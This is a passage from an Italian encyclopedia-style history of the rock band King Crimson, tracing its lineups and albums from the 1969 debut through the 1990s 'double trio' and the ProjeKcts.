video\". McDonald sugger\u00ec che la band adottasse il mellotron, esempio di come fossero attenti alle nuove tecnologie musicali, cos\u00ec da creare un suono pi\u00f9 orchestrale, ispirato a quello dei Moody Blues.\nI quattro, pi\u00f9 Sinfield in veste di fonico e tecnico luci, debuttarono dal vivo con sette serate consecutive al \"Change Is\" di Newcastle dal 23 febbraio al 1\u00ba marzo 1969 per le quali furono erroneamente scritturati come \"Giles Giles &amp; Fripp\" malgrado avessero gi\u00e0 adottato il nome King Crimson. La data successiva, stavolta inequivocabilmente a nome King Crimson, fu allo Speakeasy di Londra il 6 aprile. Seguirono una ventina di concerti, a Londra e dintorni, tra aprile e giugno. Il 5 luglio 1969 la band fece la sua prima apparizione su larga scala, allo storico concerto organizzato dai Rolling Stones in memoria di Brian Jones ad Hyde Park, Londra, davanti a 650.000 persone, acquisendo cos\u00ec di colpo una notevole visibilit\u00e0. Tre settimane dopo, il gruppo entr\u00f2 ai Wessex Studios di Islington, Londra, per incidere il primo album.\n\"In the Court of the Crimson King\".\nL'album di debutto della band fu \"In the Court of the Crimson King\", uscito nell'ottobre del 1969 per la Island Records. L'album fu un successo: il chitarrista dei Who, Pete Townshend, lo defin\u00ec \"un capolavoro assoluto\". . In contrasto con le sonorit\u00e0 hard rock e blues della scena musicale inglese e americana di allora, i King Crimson si presentarono con un approccio molto pi\u00f9 \"continentale\", che univa elementi antichi ad elementi moderni. La musica dei King Crimson era gravida di influenze provenienti dalle varie esperienze dei cinque membri, tra cui la musica classica dell'epoca romantica e modernista, il rock psichedelico di Jimi Hendrix, il folk, il jazz, i ritmi della musica militare (McDonald aveva suonato in una banda militare) la musica di epoca vittoriana e infine il british pop.\nDopo diverse esibizioni in Inghilterra, la band si imbarc\u00f2 per un tour negli Stati Uniti, suonando a fianco di molti altri gruppi coevi. Il loro primo show americano fu quello al Goddard College, a Plainfield, nel Vermont. Mentre le loro sonorit\u00e0 innovative facevano molto discutere la critica e il pubblico, emergevano alcune tensioni creative tra i membri del gruppo. Michael Giles e Ian McDonald, ancora sbigottiti per il rapido successo dei King Crimson e frustrati per la vita \"on the road\" della loro esperienza americana, cominciarono a non convergere pi\u00f9 con la strada in cui si stava infilando il gruppo. Inoltre, pian piano, Robert Fripp stava assumendo la leadership artistica del gruppo, guidando i King Crimson verso sonorit\u00e0 pi\u00f9 cupe e pi\u00f9 intense. McDonald e Giles, pi\u00f9 protesi verso la musica melodica, annunciarono quindi di voler lasciare il gruppo in occasione della tappa californiana del tour. Nel tentativo di recuperare quelli che erano stati gli elementi fino ad allora pi\u00f9 importanti per i King Crimson, Fripp si offr\u00ec di andarsene al posto loro, ma la scelta dei due era ormai definitiva, in quanto, stando a quanto dichiararono, la band era \"pi\u00f9 di Fripp che loro\", e che era pi\u00f9 giusto fossero loro i primi ad andarsene. Legata da obblighi contrattuali, la formazione suon\u00f2 insieme fino all'ultimo show a San Francisco, al Fillmore West, il 16 dicembre 1969. Quella sera, il gruppo condivise il palco con i Nice, il trio guidato dal tastierista Keith Emerson. Questi aveva gi\u00e0 in mente una formazione nuova e pi\u00f9 idonea dei Nice ad interpretare le sue composizioni e pertanto propose a Greg Lake una collaborazione; il bassista/cantante, che giudic\u00f2 errata l'idea, prospettata da Fripp, che i King Crimson mantenessero il loro nome senza McDonald e Giles, al ritorno in Europa decise di lasciare il gruppo, che si ritrov\u00f2 di fatto costituito dai soli Fripp e Sinfield. Di l\u00ec a poco, nel giugno 1970, Emerson e Lake avrebbero dato vita, con il batterista Carl Palmer, al celebre trio Emerson, Lake &amp; Palmer, destinato ad un notevole successo commerciale.\nInterregno (1970-1971).\nDall'inizio del 1970 alla met\u00e0 del 1971 i King Crimson alternarono una serie di inconcludenti e insoddisfacenti formazioni (questo periodo \u00e8 stato ironicamente definito, come altri che seguiranno, come un \"interregno\"). Fripp fu costretto per un periodo anche a fare da tastierista, oltre che chitarrista. Per compensare la mancanza di musicisti, Sinfield cominci\u00f2 a interessarsi all'uso del sintetizzatore.\n\"In the Wake of Poseidon\".\nIl secondo album del gruppo, \"In the Wake of Poseidon\", venne registrato dai membri rimasti, Fripp e Sinfield, insieme ad alcuni musicisti messi insieme per l'occasione. Michael Giles torn\u00f2 a suonare la batteria soltanto per una sola sessione, accanto al fratello Peter al basso. A un certo punto si prese anche in considerazione di chiamare l'allora semisconosciuto cantante Elton John, ma l'idea non ebbe seguito. La voce fu affidata invece a Lake, che accett\u00f2 in cambio dell'attrezzatura dei King Crimson come pagamento: Lake cant\u00f2 in tutti i brani ad esclusione di \"Cadence and Cascade\", in cui la voce \u00e8 quella di un amico di Fripp, Gordon Haskell. Mel Collins (ufficialmente membro dei Cirkus) contribu\u00ec con il sassofono e il flauto. Altro elemento fondamentale fu il pianista Keith Tippett, che torn\u00f2 anche per le successive incisioni sino al 1971. Nonostante Fripp gli abbia offerto di entrare a pieno titolo nel gruppo, Tippett ha sempre preferito rimanere un semplice collaboratore, suonando dal vivo soltanto una volta con i King Crimson. \"In the Wake of Poseidon\" ricevette una critica buona, ma tiepida: furono molto criticate le sonorit\u00e0, giudicate troppo simili come stile e contenuti all'album di debutto, tanto da sembrare di avere a che fare con una mera imitazione. Alla fine delle registrazioni, McDonald e i fratelli Giles si riunirono per incidere con la collaborazione di Sinfield e Steve Winwood l'album \"McDonald and Giles\", pubblicato nell'autunno del 1970.\n\"Lizard\".\nCon l'uscita di \"In the Wake of Poseidon\", Fripp e Sinfield avevano una buona quantit\u00e0 di materiale da pubblicare e promuovere, ma non un gruppo per dare forma a queste idee. Fripp persuase Gordon Haskell ad entrare come bassista e cantante della band, e assold\u00f2 il batterista dei Manfred Mann's Earth Band Andy McCulloch (anch'esso proveniente dal Dorset, come Fripp). Anche Mel Collins entr\u00f2 a pieno titolo a far parte del gruppo. Sia Haskell che McCulloch si unirono ai King Crimson in tempo per partecipare alle sessioni di registrazione del terzo album del gruppo, \"Lizard\", ma non come autori, bens\u00ec come semplici esecutori di materiale gi\u00e0 sviluppato da Fripp e Sinfield, in collaborazione con una \"squadra\" di musicisti jazz: Keith Tippett, il trombettista Mark Charig, il trombonista Nick Evans e l'oboista Robin Miller. Jon Anderson degli Yes fu anch'esso coinvolto come cantante nel brano \"Prince Rupert Awakes\", che Fripp e Sinfield consideravano non adatto alla voce di Haskell. \"Lizard\" include molte pi\u00f9 influenze avanguardiste, con frequenti spunti di musica classica e jazz, che lo diversificano notevolmente dai due precedenti album, anche grazie agli esperimenti di Sinfield con il sintetizzatore VCS3, e con i testi, ora molto pi\u00f9 complessi e allusivi: un brano si riferisce, ad esempio, al recente scioglimento dei Beatles.\n\"Lizard\" \u00e8 stato descritto un \"gusto acquisito\", definitivo, non condiviso per\u00f2 da Haskell e McCulloch, pi\u00f9 orientati verso il \"rhythm and blues\". Haskell cominci\u00f2 a disilludersi riguardo ai King Crimson, e fece capire che non era sua intenzione cantare e suonare un genere con cui non aveva alcuna empatia. Poco prima della pubblicazione di \"Lizard\", infatti, Haskell lasci\u00f2 il gruppo in maniera piuttosto brusca. dopo il rifiuto di cantare nei concerti con l'ausilio di un distorsore elettrico. McCulloch fu accolto prima dal gruppo di Arthur Brown e poi divenne batterista dei Greenslade nel 1972. Fripp e Sinfield, cos\u00ec, erano di nuovo di fronte ad una mancanza, che dovevano necessariamente colmare.\n\"King Crimson II\" (1971-1972).\nLa nuova formazione dei King Crimson, formata ora da Fripp, Sinfield e il batterista Ian Wallace (un ex compagno di gruppo di Jon Anderson), vide anche il mancato ingresso, dopo estenuanti audizioni, di Bryan Ferry, vocalist dei Roxy Music e, come manager, di John Gaydon, subito sostituito da Raymond \"Boz\" Burrell. Fripp, inoltre, avvicin\u00f2 il bassista John Wetton nel 1971, allo scopo di completare la formazione, ma egli accett\u00f2 il ruolo nei Family. Fu cos\u00ec che Boz si trov\u00f2 a dover suonare il basso, persa ogni speranza di riuscire a trovare un nuovo bassista.\nNel 1971, i King Crimson intrapresero il loro primo tour dal 1969 con la nuova formazione. I concerti furono ben accolti dal pubblico, ma lo stile di vita spericolato di Burrell, Collins e Wallace non andava molto a genio a Fripp, che era del tutto contrario all'uso di droghe. Fripp, allora, cominci\u00f2 a distanziarsi sempre pi\u00f9 dai compagni, creando delle tensioni che non giovarono alla band, che, comunque, termin\u00f2 il tour senza intoppi.\n\"Islands\".\nPi\u00f9 avanti i King Crimson registrarono e pubblicarono un nuovo album, \"Islands\". Le sonorit\u00e0, ora molto calme e melodiche, furono notevolmente influenzate da una collaborazione con Miles Davis e Gil Evans, e dalle tematiche che si rifanno in gran parte all'\"Odissea\" di Omero. Inoltre, questo lavoro portava i segni di una chiara divergenza stilistica tra Sinfield (che preferiva un approccio pi\u00f9 \"soft\" di stampo jazz-folk) e Fripp (che propendeva pi\u00f9 uno stile \"duro\", di un chiaro esempio ne \u00e8 \"Sailor's Tale\", caratterizzato da un uso pi\u00f9 cupo del Mellotron e della chitarra). \"Islands\" comprende anche l'unico esperimento con un ensemble di archi, presente nel pezzo \"Prelude: Song of the Gulls\", ed un pi\u00f9 ritmico \"Ladies of the Road\", allegoria dello stile di vita del gruppo, e che probabilmente \u2013 caso raro \u2013 piacque a tutti i membri del gruppo all'unanimit\u00e0. Ma una nuova crisi era vicina: nel successivo tour, Fripp costrinse Sinfield (col quale l'amicizia si era deteriorata) a lasciare il gruppo, viste anche le numerose divergenze in campo artistico-musicale. A questo punto, Fripp, deluso da quanto accaduto, mise per un periodo i King Crimson in un cassetto. Sinfield dal suo canto si dedic\u00f2 ad un lavoro da solista, \"Still\", e riallacci\u00f2 i rapporti con Lake, divenendo autore principale dei testi degli Emerson, Lake &amp; Palmer. Quel che rimaneva del gruppo si sciolse bruscamente poco tempo dopo, anche a causa del rifiuto di Fripp di inserire nel repertorio del gruppo pezzi composti dagli altri membri (quel che Fripp pi\u00f9 tardi defin\u00ec come un \u00abcontrollo di qualit\u00e0\u00bb da lui operato, per assicurarsi che i King Crimson suonassero \u00abil giusto genere di musica\u00bb).\nCos\u00ec, dopo una revisione della formazione per il tour del 1972, il gruppo apparve sempre pi\u00f9 intenzionato a sciogliersi. Le registrazioni di questo tour sono state raccolte nell'album \"Earthbound\", molto criticato per la scarsa qualit\u00e0 sonora, e delle performance, caratterizzate da una frequente improvvisazione, segno delle fratture tra Fripp e gli altri membri del gruppo, che propendevano sempre pi\u00f9, contro il volere di Fripp, verso uno stile con molte pi\u00f9 influenze dal rhythm and blues. Durante il tour, per\u00f2, Collins, Burrell e Wallace, pi\u00f9 per il bene dei King Crimson, avevano deciso di venire incontro a Fripp, ma inutilmente: quest'ultimo, infatti, era gi\u00e0 fortemente intenzionato a \"ristrutturare\" interamente la formazione del gruppo, ed a intraprendere una nuova strada musicale.\n\"King Crimson III\" (1972-1974).\nLa terza formazione dei King Crimson era nettamente diversa dalle due precedenti, essendo in queste l'improvvisazione l'elemento essenziale delle composizioni. Il primo nuovo elemento chiamato da Fripp fu il percussionista Jamie Muir, che aveva gi\u00e0 lavorato con i Sunship e Derek Bailey. Questa formazione vide anche l'ingresso di due batteristi, tra cui l'ex Yes Bill Bruford, che scelse di abbandonare il successo commerciale degli Yes, per i pi\u00f9 instabili, ma affascinanti, King Crimson. Infine, Fripp, riusc\u00ec ad assicurarsi come cantante e bassista John Wetton dei Family e il polistrumentista David Cross.\nSenza pi\u00f9 Sinfield, il gruppo assunse come nuovo paroliere Richard Palmer-James (ex chitarrista dei Supertramp), che a differenza di Sinfield non entr\u00f2 mai come membro ufficiale della formazione e non si occup\u00f2 mai delle illuminazioni e del suono.\n\"Larks' Tongues in Aspic\".\nLa nuova formazione e il tour che intrapresero nel 1972, fecero avere ai King Crimson una rinnovata attenzione da parte della stampa. Un nuovo album, \"Larks' Tongues in Aspic\", fu pubblicato all'inizio del 1973. Fu il primo lavoro dei King Crimson a testimoniare la predominanza artistica di Fripp, senza pi\u00f9 l'influenza di Sinfield, e a fuggire all\"'ombra del debutto\", in quanto i King Crimson erano ormai una band conosciuta e apprezzata dal pubblico.\nUna svolta significativa dai precedenti lavori fu il pezzo \"Larks' Tongues in Aspic\" diviso in due parti, l'una in apertura, l'altra in chiusura dell'album. Le sonorit\u00e0 di queste tracce erano fortemente influenzate dalla musica di B\u00e9la Bart\u00f3k, Vaughan Williams, e dalle nascenti sonorit\u00e0 dell'heavy metal. Ovviamente la cesura con il passato non era totale \u2013 il mellotron, preferito di Sinfield, era ancora usato, cos\u00ec come la presenza di ballate \u2013 ma era chiaro che il gruppo avesse intrapreso una nuova direzione musicale. In particolare, le registrazioni erano permeate dell'impronta sonora di Muir, che per l'occasione fece ricorso ad una serie di oggetti del tutto comuni, trasformati in veri e propri strumenti musicali \u2013 quali: il campanello di una bicicletta, giocattoli vari, gong \u2013 e effetti sonori molto inusuali, come la risata che si pu\u00f2 sentire alla fine del pezzo \"Easy Money\". Lo stile aggressivo di Wetton rec\u00f2 un contributo essenziale ai King Crimson e influenz\u00f2 lo stesso Fripp, la cui chitarra divenne sempre pi\u00f9 distorta.\nNel 1973, dopo l'abbandono di Muir a seguito di una profonda crisi spirituale e personale, il gruppo divenne un quartetto.\n\"Starless and Bible Black\".\nDopo il lunghissimo tour che segu\u00ec quel periodo, i membri restanti cominciarono a lavorare ad un nuovo album, \"Starless and Bible Black\", pubblicato nel gennaio del 1974. L'album, ben recensito anche dalla rivista \"Rolling Stone\", riuniva materiale sperimentale che ricordava molto il lavoro fatto con il \"White Album\" dai Beatles, caratterizzato da una frequente sperimentazione, e da elementi jazz fusion ricorrenti nella musica di Miles Davis e della Mahavishnu Orchestra.\nDue terzi dell'album erano strumentali, incluso il pezzo \"Fracture\", completamente composto da Fripp. Per il brano \"Trio\" - improvvisazione che vedeva Wetton al basso, Cross al violino e Fripp al mellotron \u2013 Bruford viene accreditato come autore \"per difetto\", cio\u00e8 per aver \"contribuito\" al brano restando in silenzio con le bacchette incrociate sul petto. Nonostante la maggior parte dei pezzi dell'album fossero registrazioni di esibizioni dal vivo, Fripp \"pul\u00ec\" il suono in maniera tale da farle sembrare registrazioni in studio. La documentazione completa di questo estenuante lavoro fu pubblicata nel 1992 nel quadruplo album \"The Great Deceiver\" e ancora nel doppio-album live \"The Night Watch\", in cui vi \u00e8 gran parte del materiale originale usato per \"Starless and Bible Black\".\nDopo l'uscita di questo nuovo album, nel gruppo cominciarono ad aprirsi nuove fratture: musicalmente, Fripp si trovava d'accordo con la posizione di Bruford e Wetton, la cui forza espressiva fu paragonata in un'occasione da Fripp ad un \"muro volante di mattoni\", mentre il ruolo di Cross \u2013 soprattutto al violino \u2013 veniva sempre pi\u00f9 messo in secondo piano, fino al punto in cui nel 1974, durante l'ultimo tour americano di questa formazione, fu deliberata (con il voto contrario del solo Bruford) la sua estromissione; la sua ultima apparizione dal vivo con i King Crimson coincide con l'ultimo concerto della formazione: al Central Park di New York il 1\u00ba luglio 1974.\n\"Red\".\nIl restante trio cominci\u00f2 a lavorare ad un nuovo disco, \"Red\". Per Fripp era un periodo molto travagliato: frustrato dallo show-business, aveva cominciato a seguire il mistico George Gurdjieff, sull'onda di una profonda crisi spirituale che lo aveva colto nel 1974. Successivamente, descriver\u00e0 questo periodo come \"l'apice del suo esaurimento nervoso\". Fu cos\u00ec che Bruford e Wetton, senza pi\u00f9 il contributo di Fripp, si trovarono ad incidere da soli la maggior parte dei pezzi.\nA dispetto di ci\u00f2, \"Red\" d\u00e0 prova di essere uno degli album pi\u00f9 duri e forti a livello di sonorit\u00e0. \u00c8 stato descritto come \"l'impressionante successo di un gruppo ormai allo sbando\", caratterizzato da un \"intenso dinamismo\" musicale tra i membri del gruppo. Introdotto dall'aspro \"Red\", l'album continua con altri due pezzi, in cui la predominanza del basso di Wetton \u00e8 evidente, e un ultimo sguardo all'improvvisazione, con il pezzo dal vivo \"Providence\" registrato in concerto poche settimane prima. L'ultimo pezzo, \"Starless\", \u00e8 considerato una pietra miliare del gruppo, alterna geometricamente sonorit\u00e0 melodiche, improvvisazione, e i ritmi crudi dell'heavy metal. Oltre alla presenza \"postuma\" di Cross in \"Providence\", all'album contribuiscono ospiti tutti gi\u00e0 noti alla costellazione crimsoniana: Robin Miller e Marc Charig, gi\u00e0 apparsi in \"Lizard\" e \"Islands\", nonch\u00e9 il sax soprano di Mel Collins (\"Starless\") e tenore di Ian McDonald (\"One More Red Nightmare\" e ancora \"Starless\").\nCon uno dei loro album pi\u00f9 forti pronto per essere pubblicato, i King Crimson sembrano essersi ristabiliti, e le indiscrezioni riguardo ad un probabile rientro di Ian McDonald danno nuove speranze ai fan. Fripp, d'altro canto, era sempre pi\u00f9 in crisi, e riteneva il rock e la musica in generale \"finita\", in virt\u00f9 anche del suo avvicinamento a dottrine escatologiche. Era, in pi\u00f9, scoraggiato e disilluso riguardo ai King Crimson e la loro esplosione di successo, tanto che, dopo due mesi dall'uscita del disco, Fripp annunci\u00f2 che i King Crimson avevano \u00abcessato di esistere per sempre\u00bb. Il gruppo si sciolse ufficialmente il 25 settembre del 1974.\n\"USA\".\nUn album dal vivo \"postumo\", \"USA\", che documentava il gi\u00e0 citato ultimo tour dei King Crimson negli Stati Uniti, usc\u00ec nel 1975, e fu definito dalla critica come un \u00abmust\u00bb e \u00abuna pazzia il non averlo\u00bb. Alcune parti al violino di Cross, registrate dal vivo, erano inaudibili; fu perci\u00f2 contattato il violinista dei Roxy Music Eddie Jobson per risuonarle in studio. Nel 2005 l'album \u00e8 stato rimasterizzato e ampliato con due tracce bonus, \"Fracture\" e \"Starless\".\n\"King Crimson IV\" (1981-1984).\n\"Discipline\".\nDal 1981, Fripp aveva deciso di porre fine al progetto The League of Gentlemen, in favore di un altro, molto pi\u00f9 ambizioso sia artisticamente che commercialmente. All'epoca, non aveva ancora nessuna intenzione di riformare i King Crimson. Fu cos\u00ec che contatt\u00f2 Bill Bruford, che accett\u00f2 di prender parte alla nuova iniziativa. Poi chiam\u00f2 con s\u00e9 il cantante Adrian Belew, gi\u00e0 collaboratore di David Bowie e Frank Zappa e ancora attivo con i Talking Heads, sia in studio che in tour. La scelta di Fripp di aggiungere un altro chitarrista non aveva precedenti, ed era indice di una ferrea volont\u00e0 di voltare pagina rispetto al suo passato artistico.\nScartato il musicista Jeff Berlin (il cui stile fu giudicato \"troppo impegnato\"), Fripp e Bruford cominciarono la frenetica ricerca di un nuovo bassista, organizzando delle audizioni a New York. Al terzo giorno Fripp si assent\u00f2, e dopo alcune ore torn\u00f2 in compagnia del bassista Tony Levin, che il chitarrista aveva conosciuto come turnista di Peter Gabriel e che aveva gi\u00e0 suonato nel suo album solista \"Exposure\" l'anno prima. Fripp dichiar\u00f2 in seguito che, se avesse saputo subito della piena disponibilit\u00e0 di Levin, lo avrebbe preso senza nemmeno indire delle audizioni. Levin fu essenziale per il nuovo gruppo, apportando il contributo del Chapman Stick, un innovativo strumento a dieci corde suonate percussivamente.\nQuesto nuovo quartetto prese il nome, scelto da Fripp, di Discipline, e vol\u00f2 in Inghilterra per fare delle prove e scrivere dei nuovi pezzi. Il loro debutto fu al Moles Club a Bath, il 30 aprile del 1981, e successivamente si unirono al tour inglese dei The Lounge Lizards. Dall'ottobre del 1981, il quartetto prese la unanime decisione di cambiare il nome nel pi\u00f9 glorioso King Crimson.\nI \"nuovi\" King Crimson erano ora molto vicini alla New wave, sicuramente anche a causa delle frequenti collaborazioni di Fripp e Belew coi Talking Heads e David Bowie, di Tony Levin con Peter Gabriel, e i lavori di Fripp \"Exposure\" e con i \"Gentlemen\". Con questa nuova formazione, definita da J.D. Considine nel \"The New Rolling Stone Album Guide\" come avente una \u00abtecnica variegata\u00bb di \u00abintricate melodie\u00bb, Fripp intendeva creare una sorta di \"Gamelan rock\", con quella qualit\u00e0 ritmica tipica del gamelan indonesiano. Mentre Fripp si concentrava sulla esecuzione di complessi arpeggi, Belew forn\u00ec al gruppo un vero e proprio \"arsenale\" di suoni (tra cui rumori di insetti, sottofondi ambientali, texture industriali e altri) utilizzando i pi\u00f9 svariati strumenti elettronici. Per quanto riguarda la ritmica Levin apport\u00f2 i pi\u00f9 moderni elementi della musica contemporanea, mentre Bruford si dedicava a una profonda sperimentazione, assieme allo stesso Fripp. Nello spirito originario del rock progressivo, i King Crimson utilizzarono e sperimentarono tutte le nuove tecnologie che vi fossero in campo musicale, tra cui il sintetizzatore per chitarra Roland, il Chapman Stick di Levin, o il drumkit elettronico Simmons.\nIl primo album di questa nuova formazione fu \"Discipline\", in cui tutte queste novit\u00e0 sonore sono evidenti, e considerato tuttora come uno dei lavori pi\u00f9 fini del gruppo. Le varie tracce sono caratterizzate da una certa brevit\u00e0, contrariamente agli standard dei King Crimson, anche in forza dello stile molto pi\u00f9 tendente alla \"abbreviazione\" di Belew, in contrasto con la \"grandeur\" dei primi King Crimson. Le sonorit\u00e0 di questo nuovo album incorporano elementi provenienti dai generi musicali pi\u00f9 recenti, come il post-punk, il funk, il go-go e la musica africana.\n\"Beat\".\nA \"Discipline\" segu\u00ec \"Beat\", nel 1982, primo album nella storia dei King Crimson ad essere registrato con formazione identica a quella del precedente, ed anche il primo con un produttore esterno al gruppo: Rhett Davis.\nTema centrale dell'album \u00e8 la Beat Generation e la cultura di quell'epoca, che si ritrovano in pezzi come \"Neal and Jack and Me\" (ispirata a Neal Cassady e Jack Kerouac), \"The Howler\" (ispirata a \"Howl\" di Allen Ginsberg) e \"Sartori in Tangier\" (ispirata a \"Sartori in Paris\" di Paul Bowles). Era stato lo stesso Fripp a consigliare a Belew la lettura di On the road di Kerouac per trovarvi ispirazione; nell'album ricorrono pi\u00f9 in generale diversi riferimenti a quel filone letterario, come i temi del viaggio, del disorientamento e della solitudine.\nLe registrazioni furono molto stressanti, specialmente per Belew, che doveva sostenere il doppio incarico di \"front-man\" e principale autore dei testi. In un'occasione, addirittura, durante un litigio con Fripp, gli ordin\u00f2 a gran voce di uscire dalla sala di registrazione. Ma questi screzi non minarono la stabilit\u00e0 dei rinnovati King Crimson, che cominciarono un nuovo tour, che fu per il gruppo una sorta di \"riabilitazione\" dalla precedente stasi.\n\"Three of a Perfect Pair\".\nNel 1984, riunitosi di nuovo per registrare un nuovo album, \"Three of a Perfect Pair\", il gruppo trov\u00f2 molte difficolt\u00e0 nel processo compositivo, in particolare per l'apparente impossibilit\u00e0 di conciliare le diverse idee dei quattro componenti. Alla fine, il gruppo trov\u00f2 il compromesso: dividere l'album in due parti: il lato A (poi indicato come \"left side\" cio\u00e8 \"lato sinistro\") avrebbe incluso quattro delle canzoni pi\u00f9 pop e melodiche, mentre il lato B (\"right side\", \"lato destro\" ma anche \"lato giusto\") conteneva il materiale pi\u00f9 sperimentale, che spaziava dall'improvvisazione, tipica del primo periodo del gruppo, ad una terza, elaborata parte del brano \"Larks' Tongues in Aspic\". I testi del lato A presentavano temi lirici relativamente semplici, come il funzionamento del cervello, le sue varie disfunzioni, e il suo impatto sulla nostra vita. Il lato B, invece, si occupava della societ\u00e0 tecnologica, dalla strumentale \"Industry\" a \"Dig Me\" (cantata dal punto di vista di un'automobile in rottamazione), e vide un largo uso di suoni meccanici. Illuminante la dichiarazione con cui Fripp, nella conferenza stampa per presentare il disco, ne motiv\u00f2 la bipartizione: \u00abil primo lato \u00e8 \"accessibile\", il secondo \u00e8 \"eccessivo\"\u00bb. L'edizione del 2001, rimasterizzata, include un CD aggiuntivo, contenente remix e improvvisazioni inedite, oltre ad una rara interpretazione vocale di Levin nel brano \"The King Crimson Barbershop\".\nL'ultimo concerto del tour promozionale di \"Three of a Perfect Pair\", ultimo anche per i \"King Crimson IV\", si tenne allo Spectrum Club di Montr\u00e9al l'11 luglio 1984. Fu anche pubblicato nel 1998 nel CD \"Absent Lovers: Live in Montreal\". La mattina dopo il concerto, Fripp incontr\u00f2 gli altri a colazione nell'hotel di Montreal e comunic\u00f2 loro la sua decisione di sciogliere per l'ennesima volta il gruppo. A parte una comprensibile frustrazione da parte soprattutto di Belew e Bruford, l'amicizia tra i membri del gruppo non si incrin\u00f2 irreparabilmente, ma la band comunque non torn\u00f2 a riunirsi per oltre dieci anni.\n\"King Crimson V\" (1994-1997).\nNei primi anni novanta, Adrian Belew fece visita a Fripp in Inghilterra, e gli espresse il suo grande interesse di suonare ancora coi King Crimson. Fripp si mostr\u00f2 subito d'accordo con Belew, e finito il tour con David Sylvian, cominci\u00f2 a riunire il gruppo, facendo anche qualche modifica: oltre a Belew e Levin, chiam\u00f2 Trey Gunn alla Chapman Stick e Jerry Marotta alla batteria, subito sostituito da Pat Mastelotto. Bill Bruford rientr\u00f2 come secondo batterista. Fripp spieg\u00f2 questa insolita formazione a sei, come un suo personale tentativo di creare un \"doppio trio\" (composto da due chitarristi, due bassisti e due batteristi), allo scopo di esplorare tutte le diverse possibilit\u00e0 in cui potevano spaziare i King Crimson. Bruford, per\u00f2, rivel\u00f2 in seguito che Fripp chiar\u00ec subito a tutti che la leadership creativa del gruppo sarebbe stata indiscutibilmente sua, e che questa era una delle condizioni necessarie per entrare nella nuova formazione.\n\"Vrooom\" e \"B'Boom\".\nLa nuova formazione, pronta gi\u00e0 dal 1994, pubblic\u00f2, nello stesso anno, un EP, \"Vrooom\", che rivel\u00f2 un nuovo sound dei King Crimson, miscela unica tra \"Discipline\" e \"Red\", e una propensione per l'uso di suoni elettronici derivanti dall'industrial music. Inoltre, molti pezzi mostravano chiari riferimenti al pop degli anni sessanta, in particolare a quello dei Beatles. Come la precedente formazione, si fece ampio ricorso alle nuove tecnologie, in particolare l'uso del MIDI, il cui principale sostenitore era Fripp, seguito da Belew e Gunn, a cui fu aggiunta la chitarra Warr, che sostitu\u00ec il Chapman Stick.\nL'apparente gemellaggio di strumenti fu, in realt\u00e0, usato meno di quanto dato ad intendere inizialmente. Attraverso l'uso di complessi Soundscapes, la chitarra di Fripp acquist\u00f2 un ruolo sempre maggiore in molti pezzi. Lo Stick e la Warr di Gunn fecero da controcanto a Fripp, fungendo da ulteriore prima chitarra. Il duo predominante fu quello alla batteria: Bruford, inizialmente contrario alla condivisione del ruolo, si adatt\u00f2 ben presto a suonare insieme a Mastelotto, col quale esplor\u00f2 diverse sonorit\u00e0.\nIl primo concerto di questa rinnovata formazione si tenne a Buenos Aires nel 1995, ed \u00e8 stato pubblicato nell'album \"B'Boom: Live in Argentina\", nell'agosto dello stesso anno.\n\"Thrak\" e \"Thrakattak\".\nIl successivo album in studio dei King Crimson fu \"Thrak\", pubblicato nell'aprile del 1995, e contenente molte rivisitazioni della maggior parte dei pezzi di \"Vrooom\". Fu descritto dalla critica come avente \u00abdelle strutture jazz-rock, caratterizzate da forti, precisi e squisiti intermezzi di chitarra\u00bb. \"Dinosaur\" e \"Sex Sleep Eat Drink Dream\" sono due pezzi che maggiormente esprimono gli sforzi del gruppo a integrare la sua caratteristica doppia strumentazione. Strumentalmente, l'album presenta alcune peculiarit\u00e0, come il chiaro riferimento a \"Red\" (specie in \"VROOOM\" e \"VROOOM VROOOM\"), il duetto alla batteria di \"B'Boom\", la ritmica di \"THRAK\", e una serie di tappeti sonori di Fripp. Una curiosit\u00e0, \u00e8 il ritorno del Mellotron, come accompagnamento in alcuni brani.\nTra il 1995 e il 1996 i King Crimson tennero un tour, e nel 1996 fu pubblicato l'album dal vivo \"Thrakattak\", comprendente solo improvvisazioni di pezzi tratti dall'album \"THRAK\", combinate digitalmente in un'unica improvvisazione della durata di un'ora. Una registrazione pi\u00f9 convenzionale di quei concerti la si pu\u00f2 ritrovare nel doppio CD del 2001 \"Vrooom Vrooom\", e nel DVD \"D\u00e9ja Vrooom\" del 2003.\nNonostante il successo riportato da questo \"doppio trio\", la complessit\u00e0 del suo lavoro lo rendeva molto difficile da mantenere attivo: nel 1997, durante una prova a Nashville, il gruppo entr\u00f2 in un'impasse che molto deluse Fripp, gi\u00e0 in contrasto con Bruford, il quale, dopo poco, lasci\u00f2 il gruppo. Successivamente commenter\u00e0 dicendo: \u00abIo e Robert siamo arrivati al punto in cui non eravamo d'accordo neppure sul ristorante dove cenare, e se non puoi metterti d'accordo su questo, figuriamoci se puoi ancora suonare insieme\u00bb. Nonostante la evidente crisi, anzich\u00e9 sciogliere il gruppo \u2013 per cui vi erano tutti i presupposti \u2013 i sei membri optarono per una soluzione pi\u00f9 soft: i ProjeKcts.\nProjeKcts 1-X (1997-1999).\nPiuttosto che sciogliersi definitivamente, i sei componenti del \"Double Trio\" decisero all'unanimit\u00e0 di lavorare in piccoli \"sottogruppi\" \u2013 o \"FraKctalisations\", come furono definiti \u2013 in accordo con l'idea di Fripp. Questo permise al gruppo di continuare a lavorare su nuove idee musicali e cercare una nuova direzione per i King Crimson, senza le inevitabili difficolt\u00e0 che comportava il confronto con gli altri cinque membri. Come per i precedenti lavori dei King Crimson, anche nei \"ProjeKcts\" si fece largo uso delle nuove tecnologie. Mastelotto, ad esempio, fece ricorso alla batteria elettronica, mentre Gunn adott\u00f2 una nuova \"talkbox\" ed una nuovissima batteria elettrica Roland, la \"V-Drums\", suonata anche da Belew (Bruford si rifiut\u00f2 di suonarla, nonostante le pressanti richieste di Fripp).\nI primi quattro \"ProjeKcts\" furono suonati dal vivo negli Stati Uniti d'America, in Giappone e in Inghilterra, tra 1998 e 1999, e dimostrarono la mai spenta capacit\u00e0 del gruppo di gettarsi in argute improvvisazioni. I \"ProjeKcts\" sono stati collettivamente definiti dal critico musicale Considine come \u00abfrequentemente sorprendenti\u00bb, ma mancanti di melodia, e troppo arguti per l'ascoltatore occasionale.\nEcco una lista dei \"ProjeKcts\" pubblicati sino ad ora:\n\"King Crimson VI\" (1999-2004).\nDalla fine dei \"ProjeKcts\", Bruford aveva ufficialmente lasciato la band, per dedicarsi al jazz con gli Earthworks ed altri gruppi. Anche Levin, che aveva cominciato a collaborare con altri artisti fuori dalla cerchia dei King Crimson, come Peter Gabriel e 